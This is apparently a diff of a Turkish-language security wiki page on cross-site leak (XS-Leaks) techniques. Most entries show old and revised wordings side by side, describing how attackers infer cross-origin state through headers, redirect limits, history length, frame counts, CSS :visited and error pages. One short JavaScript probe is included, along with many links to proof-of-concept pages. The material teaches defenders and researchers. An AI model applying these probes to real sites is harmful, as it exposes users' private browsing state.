Google Chrome'daki (GC) yeni bir özellik, web sayfalarının bir iframe öğesine bir nitelik ayarlayarak **Bir İçerik Güvenlik Politikası (CSP) önermesine** olanak tanır; politika yönergeleri HTTP isteği ile birlikte iletilir. Normalde, gömülü içeriğin **bunu bir HTTP başlığı aracılığıyla yetkilendirmesi** gerekir, aksi takdirde bir **hata sayfası görüntülenir**. Ancak, eğer iframe zaten bir CSP tarafından yönetiliyorsa ve yeni önerilen politika daha kısıtlayıcı değilse, sayfa normal şekilde yüklenir. Bu mekanizma, bir saldırganın, hata sayfasını tanımlayarak bir cross-origin sayfanın **belirli CSP yönergelerini tespit etmesine** olanak tanır. Bu güvenlik açığı kapatılmış olarak işaretlenmiş olsa da, bulgularımız, hata sayfasını tespit edebilen **yeni bir sızıntı tekniği** ortaya koymaktadır; bu, temel sorunun asla tam olarak ele alınmadığını önermektedir.
|
||||
|
||||
### **CORP**
|
||||
|
||||
@ -540,7 +540,7 @@ CORP başlığı, belirli bir kaynağa yönelik no-cors cross-origin isteklerini
|
||||
- **Dahil Etme Yöntemleri**: HTML Elemanları
|
||||
- **Tespit Edilebilir Fark**: Header
|
||||
- **Daha fazla bilgi**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
|
||||
- **Özet**: CORB, saldırganların **istekte `nosniff` başlığının mevcut olup olmadığını** tespit etmelerine olanak tanır.
|
||||
- **Özet**: CORB, saldırganların **istekte `nosniff` başlığının mevcut olup olmadığını** tespit etmelerine olanak tanıyabilir.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)
|
||||
|
||||
Saldırı hakkında daha fazla bilgi için bağlantıyı kontrol edin.
|
||||
@ -550,10 +550,10 @@ Saldırı hakkında daha fazla bilgi için bağlantıyı kontrol edin.
|
||||
- **Dahil Etme Yöntemleri**: Fetch API
|
||||
- **Tespit Edilebilir Fark**: Header
|
||||
- **Daha fazla bilgi**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
|
||||
- **Özet**: Eğer Origin başlığı `Access-Control-Allow-Origin` başlığında yansıtılıyorsa, bir kaynağın önbellekte olup olmadığını kontrol etmek mümkündür.
|
||||
- **Özet**: Eğer Köken başlığı `Access-Control-Allow-Origin` başlığında yansıtılıyorsa, bir kaynağın önbellekte olup olmadığını kontrol etmek mümkündür.
|
||||
- **Kod Örneği**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
|
||||
|
||||
Eğer **Origin başlığı**, `Access-Control-Allow-Origin` başlığında **yansıtılıyorsa**, bir saldırgan bu davranışı kötüye kullanarak **CORS** modunda **kaynağı almayı** deneyebilir. Eğer bir **hata** **tetiklenmezse**, bu, kaynağın **web'den doğru bir şekilde alındığı** anlamına gelir; eğer bir hata **tetiklenirse**, bunun nedeni **önbellekten erişilmiş olmasıdır** (hata, önbelleğin orijinal alan adına izin veren bir CORS başlığı ile bir yanıt kaydetmesi nedeniyle ortaya çıkar).\
|
||||
Eğer **Köken başlığı**, `Access-Control-Allow-Origin` başlığında **yansıtılıyorsa**, bir saldırgan bu davranışı istismar ederek **CORS** modunda **kaynağı almayı** deneyebilir. Eğer bir **hata** **tetiklenmezse**, bu, kaynağın **web'den doğru bir şekilde alındığı** anlamına gelir; eğer bir hata **tetiklenirse**, bunun nedeni **önbellekten erişilmiş olmasıdır** (hata, önbelleğin orijinal alan adına izin veren bir CORS başlığı ile bir yanıt kaydetmesi nedeniyle görünür).\
|
||||
Eğer köken yansıtılmıyorsa ancak bir joker karakter kullanılıyorsa (`Access-Control-Allow-Origin: *`), bu çalışmayacaktır.
|
||||
|
||||
## Okunabilir Nitelikler Tekniği
|
||||
@ -566,14 +566,14 @@ Eğer köken yansıtılmıyorsa ancak bir joker karakter kullanılıyorsa (`Acce
|
||||
- **Özet:** GC ve SA, yönlendirme tamamlandıktan sonra yanıtın türünü (opaque-redirect) kontrol etmeye olanak tanır.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)
|
||||
|
||||
`redirect: "manual"` ve diğer parametrelerle Fetch API kullanarak bir istek gönderildiğinde, `response.type` niteliğini okumak mümkündür ve eğer `opaqueredirect` ile eşitse, yanıt bir yönlendirmedir.
|
||||
`redirect: "manual"` ve diğer parametrelerle Fetch API kullanarak bir istek gönderildiğinde, `response.type` niteliğini okumak mümkündür ve eğer `opaqueredirect` ile eşitse, yanıt bir yönlendirme olmuştur.
|
||||
|
||||
### COOP
|
||||
|
||||
- **Dahil Etme Yöntemleri**: Pop-up'lar
|
||||
- **Tespit Edilebilir Fark**: Header
|
||||
- **Daha fazla bilgi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
|
||||
- **Özet:** Cross-Origin Opener Policy (COOP) ile korunmuş sayfalar, cross-origin etkileşimlerden erişimi engeller.
|
||||
- **Özet:** Cross-Origin Opener Policy (COOP) ile korunan sayfalar, cross-origin etkileşimlerden erişimi engeller.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
|
||||
|
||||
Bir saldırgan, cross-origin bir HTTP yanıtında Cross-Origin Opener Policy (COOP) başlığının varlığını çıkarabilir. COOP, web uygulamaları tarafından dış sitelerin rastgele pencere referansları elde etmesini engellemek için kullanılır. Bu başlığın görünürlüğü, **`contentWindow` referansına erişmeye çalışarak** belirlenebilir. COOP koşullu olarak uygulandığında, **`opener` niteliği** belirleyici bir gösterge haline gelir: COOP aktif olduğunda **tanımsızdır**, yokluğunda ise **tanımlıdır**.
|
||||
@ -583,12 +583,12 @@ Bir saldırgan, cross-origin bir HTTP yanıtında Cross-Origin Opener Policy (CO
|
||||
- **Dahil Etme Yöntemleri**: Fetch API, HTML Elemanları
|
||||
- **Tespit Edilebilir Fark**: Durum Kodu / İçerik
|
||||
- **Daha fazla bilgi**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
|
||||
- **Özet:** Yönlendirme yanıt uzunluğundaki farklılıkları tespit et, çünkü yanıt uzunluğu çok büyük olabilir ve sunucu bir hata ile yanıt verir ve bir uyarı oluşturulur.
|
||||
- **Özet:** Yönlendirme yanıt uzunluğundaki farklılıkları tespit et, çünkü sunucu bir hata ile yanıt verebilir ve bir uyarı oluşturulabilir.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
|
||||
|
||||
Eğer sunucu tarafı yönlendirmesi **yönlendirme içinde kullanıcı girdisi** ve **ek veri** kullanıyorsa, bu davranışı tespit etmek mümkündür çünkü genellikle **sunucuların** **istek uzunluğu sınırı** vardır. Eğer **kullanıcı verisi** o **uzunluk - 1** ise, çünkü **yönlendirme** **o veriyi** kullanıyor ve **ek bir şey** ekliyorsa, bu bir **hata tetikler** ve **Hata Olayları** aracılığıyla tespit edilebilir.
|
||||
|
||||
Eğer bir şekilde bir kullanıcıya çerez ayarlayabiliyorsanız, bu saldırıyı **yeterince çerez ayarlayarak** da gerçekleştirebilirsiniz ([**çerez bombası**](hacking-with-cookies/cookie-bomb.md)) böylece **doğru yanıtın** **artmış boyutu** ile bir **hata** tetiklenir. Bu durumda, bu isteği aynı siteden tetiklediğinizde, `<script>` otomatik olarak çerezleri gönderecektir (bu nedenle hataları kontrol edebilirsiniz).\
|
||||
Eğer bir şekilde kullanıcılara çerez ayarlayabiliyorsanız, bu saldırıyı **yeterli çerez ayarlayarak** ([**çerez bombası**](hacking-with-cookies/cookie-bomb.md)) gerçekleştirebilirsiniz; böylece **doğru yanıtın** **artmış boyutu** bir **hata** tetikler. Bu durumda, bu isteği aynı siteden tetiklediğinizde, `<script>` otomatik olarak çerezleri gönderecektir (bu nedenle hataları kontrol edebilirsiniz).\
|
||||
**Çerez bombası + XS-Arama** örneği, bu yazının Amaçlanan çözümünde bulunabilir: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
|
||||
|
||||
`SameSite=None` veya aynı bağlamda olmak genellikle bu tür bir saldırı için gereklidir.
|
||||
@ -598,18 +598,18 @@ Eğer bir şekilde bir kullanıcıya çerez ayarlayabiliyorsanız, bu saldırıy
|
||||
- **Dahil Etme Yöntemleri**: Pop-up'lar
|
||||
- **Tespit Edilebilir Fark**: Durum Kodu / İçerik
|
||||
- **Daha fazla bilgi**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||||
- **Özet:** Yönlendirme yanıt uzunluğundaki farklılıkları tespit et, çünkü yönlendirme yanıt uzunluğu bir isteğin çok büyük olabileceği bir farkın fark edilmesini sağlar.
|
||||
- **Özet:** Yönlendirme yanıt uzunluğundaki farklılıkları tespit et, çünkü bir isteğin yönlendirme yanıt uzunluğu çok büyük olabilir.
|
||||
- **Kod Örneği**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||||
|
||||
[Chromium belgelerine](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length) göre, Chrome'un maksimum URL uzunluğu 2MB'dır.
|
||||
|
||||
> Genel olarak, _web platformu_ URL'lerin uzunluğu üzerinde sınırlara sahip değildir (ancak 2^31 yaygın bir sınırdır). _Chrome_, pratik nedenlerle ve süreçler arası iletişimde hizmet reddi sorunlarını önlemek için URL'leri maksimum **2MB** ile sınırlar.
|
||||
|
||||
Bu nedenle, eğer **yönlendirme URL'si bir durumda daha büyükse**, **2MB'dan daha büyük bir URL ile yönlendirme yapması** mümkündür. Bu durumda, Chrome **`about:blank#blocked`** sayfasını gösterir.
|
||||
Bu nedenle, eğer **yönlendirme URL'si bir durumda daha büyükse**, **2MB'den büyük bir URL ile yönlendirme** yapılması mümkündür. Bu durumda, Chrome **`about:blank#blocked`** sayfasını gösterir.
|
||||
|
||||
**Dikkate değer fark**, eğer **yönlendirme** **tamamlandıysa**, `window.origin` bir **hata** fırlatır çünkü bir cross-origin bu bilgiyi erişemez. Ancak, eğer **sınır** **aşıldıysa** ve yüklenen sayfa **`about:blank#blocked`** ise, pencerenin **`origin`** değeri **ebeveynin** değeri olarak kalır, bu da **erişilebilir bir bilgidir.**
|
||||
**Belirgin fark**, eğer **yönlendirme** **tamamlandıysa**, `window.origin` bir **hata** fırlatır çünkü bir cross-origin bu bilgiyi erişemez. Ancak, eğer **sınır** **aşıldıysa** ve yüklenen sayfa **`about:blank#blocked`** ise, pencerenin **`origin`** değeri **ebeveynin** değeri olarak kalır, bu da **erişilebilir bir bilgidir.**
|
||||
|
||||
**2MB**'ya ulaşmak için gereken tüm ek bilgiler, başlangıç URL'sinde bir **hash** aracılığıyla eklenebilir, böylece **yönlendirmede kullanılacaktır**.
|
||||
**2MB**'ye ulaşmak için gereken tüm ek bilgiler, başlangıç URL'sinde bir **hash** aracılığıyla eklenebilir, böylece **yönlendirmede kullanılacaktır.**
|
||||
|
||||
{{#ref}}
|
||||
xs-search/url-max-length-client-side.md
|
||||
@ -620,10 +620,10 @@ xs-search/url-max-length-client-side.md
|
||||
- **Dahil Etme Yöntemleri**: Fetch API, Çerçeveler
|
||||
- **Tespit Edilebilir Fark**: Durum Kodu
|
||||
- **Daha fazla bilgi**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76)
|
||||
- **Özet:** Tarayıcının yönlendirme sınırını kullanarak URL yönlendirmelerinin gerçekleşip gerçekleşmediğini belirleyin.
|
||||
- **Özet:** Tarayıcının yönlendirme limitini kullanarak URL yönlendirmelerinin gerçekleşip gerçekleşmediğini belirleyin.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
|
||||
|
||||
Eğer bir tarayıcının **izlemesi gereken maksimum** yönlendirme sayısı **20** ise, bir saldırgan **19 yönlendirme** ile kendi sayfasını yüklemeyi deneyebilir ve sonunda **kurbanı** test edilen sayfaya gönderebilir. Eğer bir **hata** tetiklenirse, bu durumda sayfa **kurbanı yönlendirmeye çalışıyordu** demektir.
|
||||
Eğer bir tarayıcının **izlenecek maksimum** yönlendirme sayısı **20** ise, bir saldırgan **19 yönlendirme** ile kendi sayfasını yüklemeyi deneyebilir ve sonunda **kurbanı** test edilen sayfaya gönderebilir. Eğer bir **hata** tetiklenirse, bu durumda sayfa **kurbanı yönlendirmeye çalışıyordu** demektir.
|
||||
|
||||
### Geçmiş Uzunluğu
|
||||
|
||||
@ -633,17 +633,17 @@ Eğer bir tarayıcının **izlemesi gereken maksimum** yönlendirme sayısı **2
|
||||
- **Özet:** JavaScript kodu tarayıcı geçmişini manipüle eder ve uzunluk özelliği ile erişilebilir.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
|
||||
|
||||
**Geçmiş API'si**, JavaScript kodunun tarayıcı geçmişini manipüle etmesine olanak tanır; bu, **bir kullanıcının ziyaret ettiği sayfaları kaydeder**. Bir saldırgan, uzunluk özelliğini bir dahil etme yöntemi olarak kullanabilir: JavaScript ve HTML navigasyonunu tespit etmek için.\
|
||||
**Geçmiş API'si**, JavaScript kodunun tarayıcı geçmişini manipüle etmesine olanak tanır; bu, **bir kullanıcının ziyaret ettiği sayfaları** kaydeder. Bir saldırgan, uzunluk özelliğini bir dahil etme yöntemi olarak kullanabilir: JavaScript ve HTML navigasyonunu tespit etmek için.\
|
||||
**`history.length`** kontrol edilerek, bir kullanıcı **bir sayfaya** **geçiş yaptığında**, **aynı kökene geri döndüğünde** ve **`history.length`** değerinin yeni değerini kontrol ederek.
|
||||
|
||||
### Aynı URL ile Geçmiş Uzunluğu
|
||||
|
||||
- **Dahil Etme Yöntemleri**: Çerçeveler, Pop-up'lar
|
||||
- **Tespit Edilebilir Fark**: URL, tahmin edilen URL ile aynıysa
|
||||
- **Özet:** Bir çerçevenin/pop-up'ın konumunun belirli bir URL'de olup olmadığını tahmin etmek mümkündür, geçmiş uzunluğundan yararlanarak.
|
||||
- **Özet:** Geçmiş uzunluğunu istismar ederek bir çerçevenin/pop-up'ın belirli bir URL'de olup olmadığını tahmin etmek mümkündür.
|
||||
- **Kod Örneği**: Aşağıda
|
||||
|
||||
Bir saldırgan, JavaScript kodunu kullanarak **çerçevenin/pop-up'ın konumunu tahmin edilen bir URL'ye** **manipüle edebilir** ve **hemen ardından** **`about:blank`**'e **değiştirebilir**. Eğer geçmiş uzunluğu arttıysa, bu, URL'nin doğru olduğu ve **artış göstermesi için yeterli zaman bulduğu** anlamına gelir; çünkü URL aynıysa yeniden yüklenmez. Eğer artmadıysa, bu, **tahmin edilen URL'yi yüklemeye çalıştığı** ancak **hemen ardından** **`about:blank`**'i yüklediği anlamına gelir; bu durumda **tahmin edilen URL'yi yüklerken geçmiş uzunluğu asla artmamıştır.**
|
||||
Bir saldırgan, JavaScript kodunu kullanarak **çerçevenin/pop-up'ın konumunu tahmin edilen bir URL'ye** **manipüle edebilir** ve **hemen ardından** **`about:blank`**'e **değiştirebilir**. Eğer geçmiş uzunluğu arttıysa, bu, URL'nin doğru olduğu ve **artış göstermesi için zaman bulduğu** anlamına gelir; çünkü URL aynıysa yeniden yüklenmez. Eğer artmadıysa, bu, **tahmin edilen URL'yi yüklemeye çalıştığı** ancak hemen ardından **`about:blank`**'i yüklediği için, **geçmiş uzunluğunun asla artmadığı** anlamına gelir.
|
||||
```javascript
|
||||
async function debug(win, url) {
|
||||
win.location = url + "#aaa"
|
||||
@ -669,10 +669,10 @@ console.log(await debug(win, "https://example.com/?a=b"))
|
||||
- **Summary:** `window.length` özelliğini inceleyerek iframe öğelerinin miktarını değerlendirin.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
|
||||
|
||||
Bir web sayfasında `iframe` veya `window.open` ile açılan **çerçeve sayısını** saymak, kullanıcının o sayfadaki **durumunu** belirlemeye yardımcı olabilir.\
|
||||
Ayrıca, eğer sayfada her zaman aynı sayıda çerçeve varsa, çerçeve sayısını **sürekli** kontrol etmek, bilgi sızdırabilecek bir **deseni** belirlemeye yardımcı olabilir.
|
||||
Bir web sayfasında açılan **iframe** veya `window.open` ile açılan **çerçeve sayısı** kullanıcının o sayfadaki **durumunu** belirlemeye yardımcı olabilir.\
|
||||
Ayrıca, sayfa her zaman aynı sayıda çerçeveye sahipse, çerçeve sayısını **sürekli** kontrol etmek, bilgi sızdırabilecek bir **deseni** belirlemeye yardımcı olabilir.
|
||||
|
||||
Bu tekniğin bir örneği, Chrome'da bir **PDF**'nin **çerçeve sayımı** ile **tespit edilebilmesidir** çünkü dahili olarak bir `embed` kullanılır. `zoom`, `view`, `page`, `toolbar` gibi içeriği kontrol etmeye izin veren [Açık URL Parametreleri](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) vardır; bu teknik ilginç olabilir.
|
||||
Bu tekniğin bir örneği, Chrome'da bir **PDF**'nin **çerçeve sayımı** ile **belirlenebilmesidir** çünkü dahili olarak bir `embed` kullanılır. `zoom`, `view`, `page`, `toolbar` gibi içeriği kontrol etmeye izin veren [Açık URL Parametreleri](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) vardır; bu teknik ilginç olabilir.
|
||||
|
||||
### HTMLElements
|
||||
|
||||
@ -682,13 +682,13 @@ Bu tekniğin bir örneği, Chrome'da bir **PDF**'nin **çerçeve sayımı** ile
|
||||
- **Summary:** İki olası durumu ayırt etmek için sızdırılan değeri okuyun.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
|
||||
|
||||
HTML elemanları aracılığıyla bilgi sızıntısı, özellikle kullanıcı bilgilerine dayalı dinamik medya dosyaları oluşturulduğunda veya medya boyutunu değiştiren filigranlar eklendiğinde web güvenliği açısından bir endişe kaynağıdır. Bu, belirli HTML elemanları tarafından açığa çıkarılan bilgileri analiz ederek olası durumları ayırt etmek için saldırganlar tarafından istismar edilebilir.
|
||||
HTML elemanları aracılığıyla bilgi sızıntısı, özellikle dinamik medya dosyaları kullanıcı bilgilerine dayalı olarak oluşturulduğunda veya su işaretleri eklendiğinde, medya boyutunu değiştirdiğinde web güvenliği açısından bir endişe kaynağıdır. Bu, belirli HTML elemanları tarafından açığa çıkan bilgileri analiz ederek olası durumları ayırt etmek için saldırganlar tarafından istismar edilebilir.
|
||||
|
||||
### Information Exposed by HTML Elements
|
||||
|
||||
- **HTMLMediaElement**: Bu eleman, medyanın `duration` ve `buffered` sürelerini açığa çıkarır; bunlara API'si aracılığıyla erişilebilir. [HTMLMediaElement hakkında daha fazla bilgi edinin](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
|
||||
- **HTMLVideoElement**: `videoHeight` ve `videoWidth` değerlerini açığa çıkarır. Bazı tarayıcılarda, `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` ve `webkitDecodedFrameCount` gibi ek özellikler mevcuttur; bu da medya içeriği hakkında daha derinlemesine bilgi sunar. [HTMLVideoElement hakkında daha fazla bilgi edinin](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
|
||||
- **getVideoPlaybackQuality()**: Bu fonksiyon, video oynatma kalitesi hakkında bilgiler sağlar; `totalVideoFrames` gibi, işlenen video verisinin miktarını gösterebilir. [getVideoPlaybackQuality() hakkında daha fazla bilgi edinin](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
|
||||
- **getVideoPlaybackQuality()**: Bu fonksiyon, video oynatma kalitesi hakkında bilgiler sağlar; `totalVideoFrames` dahil, bu da işlenen video verisinin miktarını gösterebilir. [getVideoPlaybackQuality() hakkında daha fazla bilgi edinin](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
|
||||
- **HTMLImageElement**: Bu eleman, bir resmin `height` ve `width` değerlerini sızdırır. Ancak, bir resim geçersizse, bu özellikler 0 döner ve `image.decode()` fonksiyonu reddedilir; bu da resmin düzgün bir şekilde yüklenmediğini gösterir. [HTMLImageElement hakkında daha fazla bilgi edinin](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
|
||||
|
||||
### CSS Property
|
||||
@ -699,25 +699,25 @@ HTML elemanları aracılığıyla bilgi sızıntısı, özellikle kullanıcı bi
|
||||
- **Summary:** Kullanıcının durumu veya durumu ile ilişkili web sitesi stilindeki değişiklikleri belirleyin.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
|
||||
|
||||
Web uygulamaları, kullanıcının durumuna bağlı olarak **web sitesi stilini** değiştirebilir. Saldırgan sayfasında **HTML bağlantı elemanı** ile çapraz kökenli CSS dosyaları gömülebilir ve **kurallar** saldırgan sayfasına **uygulanır**. Eğer bir sayfa bu kuralları dinamik olarak değiştirirse, bir saldırgan, kullanıcı durumuna bağlı olarak bu **farklılıkları** **tespit edebilir**.\
|
||||
Bir sızıntı tekniği olarak, saldırgan belirli bir HTML elemanının **CSS** özelliklerini **okumak için** `window.getComputedStyle` yöntemini kullanabilir. Sonuç olarak, etkilenen eleman ve özellik adı biliniyorsa, saldırgan keyfi CSS özelliklerini okuyabilir.
|
||||
Web uygulamaları, kullanıcının durumuna bağlı olarak **web sitesi stilini** değiştirebilir. Saldırgan sayfasında **HTML bağlantı elemanı** ile çapraz kökenli CSS dosyaları gömülebilir ve **kurallar** saldırgan sayfasına **uygulanır**. Eğer bir sayfa bu kuralları dinamik olarak değiştirirse, bir saldırgan kullanıcı durumuna bağlı olarak bu **farklılıkları** **belirleyebilir**.\
|
||||
Bir sızıntı tekniği olarak, saldırgan belirli bir HTML elemanının **CSS** özelliklerini **okumak için** `window.getComputedStyle` yöntemini kullanabilir. Sonuç olarak, etkilenen eleman ve özellik adı biliniyorsa, saldırgan rastgele CSS özelliklerini okuyabilir.
|
||||
|
||||
### CSS History
|
||||
|
||||
- **Inclusion Methods**: HTML Elemanları
|
||||
- **Detectable Difference**: Sayfa İçeriği
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
|
||||
- **Summary:** Daha önce ziyaret edilmiş bir URL'ye `:visited` stilinin uygulanıp uygulanmadığını tespit edin.
|
||||
- **Summary:** Bir URL'ye `:visited` stilinin uygulanıp uygulanmadığını tespit edin; bu, daha önce ziyaret edildiğini gösterir.
|
||||
- **Code Example**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
|
||||
|
||||
> [!NOTE]
|
||||
> [**Bu**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) kaynağa göre, bu başsız Chrome'da çalışmıyor.
|
||||
> [**Bu**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) kaynağına göre, bu başsız Chrome'da çalışmıyor.
|
||||
|
||||
CSS `:visited` seçici, daha önce kullanıcı tarafından ziyaret edilmiş URL'leri farklı şekilde stilize etmek için kullanılır. Geçmişte, bu stil farklılıklarını belirlemek için `getComputedStyle()` yöntemi kullanılabiliyordu. Ancak, modern tarayıcılar, bu yöntemin bir bağlantının durumunu açığa çıkarmasını önlemek için güvenlik önlemleri uygulamıştır. Bu önlemler, bağlantının ziyaret edilmiş gibi görünmesini sağlamak ve `:visited` seçici ile uygulanabilecek stilleri kısıtlamak için her zaman hesaplanan stili döndürmeyi içerir.
|
||||
CSS `:visited` seçici, daha önce kullanıcı tarafından ziyaret edilmiş URL'leri farklı şekilde stilize etmek için kullanılır. Geçmişte, bu stil farklılıklarını belirlemek için `getComputedStyle()` yöntemi kullanılabiliyordu. Ancak, modern tarayıcılar bu yöntemin bir bağlantının durumunu açığa çıkarmasını önlemek için güvenlik önlemleri uygulamıştır. Bu önlemler, bağlantının ziyaret edilmiş gibi görünmesini sağlamak ve `:visited` seçici ile uygulanabilecek stilleri kısıtlamak gibi önlemleri içerir.
|
||||
|
||||
Bu kısıtlamalara rağmen, bir bağlantının ziyaret edilmiş durumunu dolaylı olarak ayırt etmek mümkündür. Bir teknik, kullanıcıyı CSS'den etkilenen bir alanla etkileşime girmeye ikna etmeyi içerir; özellikle `mix-blend-mode` özelliğini kullanarak. Bu özellik, öğelerin arka planlarıyla karışmasını sağlar ve kullanıcı etkileşimine bağlı olarak ziyaret edilmiş durumu açığa çıkarabilir.
|
||||
|
||||
Ayrıca, kullanıcı etkileşimi olmadan bağlantıların render sürelerini istismar ederek tespit sağlanabilir. Tarayıcılar, ziyaret edilmiş ve ziyaret edilmemiş bağlantıları farklı şekilde render edebileceğinden, bu, render süresinde ölçülebilir bir zaman farkı yaratabilir. Bir kanıt konsepti (PoC), bu tekniği zaman farkını artırmak için birden fazla bağlantı kullanarak gösteren bir Chromium hata raporunda belirtilmiştir; böylece ziyaret edilmiş durum zaman analizi ile tespit edilebilir hale gelir.
|
||||
Ayrıca, kullanıcı etkileşimi olmadan bağlantıların render sürelerini istismar ederek tespit sağlanabilir. Tarayıcılar, ziyaret edilmiş ve ziyaret edilmemiş bağlantıları farklı şekilde render edebileceğinden, bu render süresinde ölçülebilir bir zaman farkı oluşturabilir. Bir kanıt konsepti (PoC), bu tekniği zaman farkını artırmak için birden fazla bağlantı kullanarak gösteren bir Chromium hata raporunda belirtilmiştir; böylece ziyaret edilmiş durum zaman analizi ile tespit edilebilir.
|
||||
|
||||
Bu özellikler ve yöntemler hakkında daha fazla bilgi için belgelerine göz atın:
|
||||
|
||||
@ -730,10 +730,10 @@ Bu özellikler ve yöntemler hakkında daha fazla bilgi için belgelerine göz a
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Başlıklar
|
||||
- **More info**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
|
||||
- **Summary:** Google Chrome'da, X-Frame-Options kısıtlamaları nedeniyle bir sayfanın çapraz kökenli bir sitede gömülmesi engellendiğinde özel bir hata sayfası görüntülenir.
|
||||
- **Summary:** Google Chrome'da, bir sayfa X-Frame-Options kısıtlamaları nedeniyle çapraz kökenli bir sitede gömülmesi engellendiğinde özel bir hata sayfası görüntülenir.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
|
||||
|
||||
Chrome'da, `X-Frame-Options` başlığı "deny" veya "same-origin" olarak ayarlanmış bir sayfa bir nesne olarak gömüldüğünde, bir hata sayfası görünür. Chrome, bu nesnenin `contentDocument` özelliği için boş bir belge nesnesi (null yerine) döndürür; bu, iframe'lerde veya diğer tarayıcılarda böyle değildir. Saldırganlar, boş belgeyi tespit ederek bunu istismar edebilir ve kullanıcının durumu hakkında bilgi açığa çıkarabilir; özellikle geliştiriciler X-Frame-Options başlığını tutarsız bir şekilde ayarladıklarında, genellikle hata sayfalarını göz ardı ederler. Güvenlik başlıklarının farkında olmak ve tutarlı bir şekilde uygulanması, bu tür sızıntıları önlemek için kritik öneme sahiptir.
|
||||
Chrome'da, `X-Frame-Options` başlığı "deny" veya "same-origin" olarak ayarlanmış bir sayfa bir nesne olarak gömüldüğünde, bir hata sayfası görünür. Chrome, bu nesnenin `contentDocument` özelliği için boş bir belge nesnesi (null yerine) döner; bu, iframe'lerde veya diğer tarayıcılarda böyle değildir. Saldırganlar, boş belgeyi tespit ederek bunu istismar edebilir; bu, özellikle geliştiricilerin X-Frame-Options başlığını tutarsız bir şekilde ayarladığı durumlarda, kullanıcının durumu hakkında bilgi açığa çıkarabilir. Güvenlik başlıklarının farkında olmak ve tutarlı bir şekilde uygulanması, bu tür sızıntıları önlemek için kritik öneme sahiptir.
|
||||
|
||||
### Download Detection
|
||||
|
||||
@ -755,7 +755,7 @@ Chrome'da, `X-Frame-Options` başlığı "deny" veya "same-origin" olarak ayarla
|
||||
- Iframe tekniğine benzer şekilde, bu yöntem bir iframe yerine `window.open` kullanmayı içerir.
|
||||
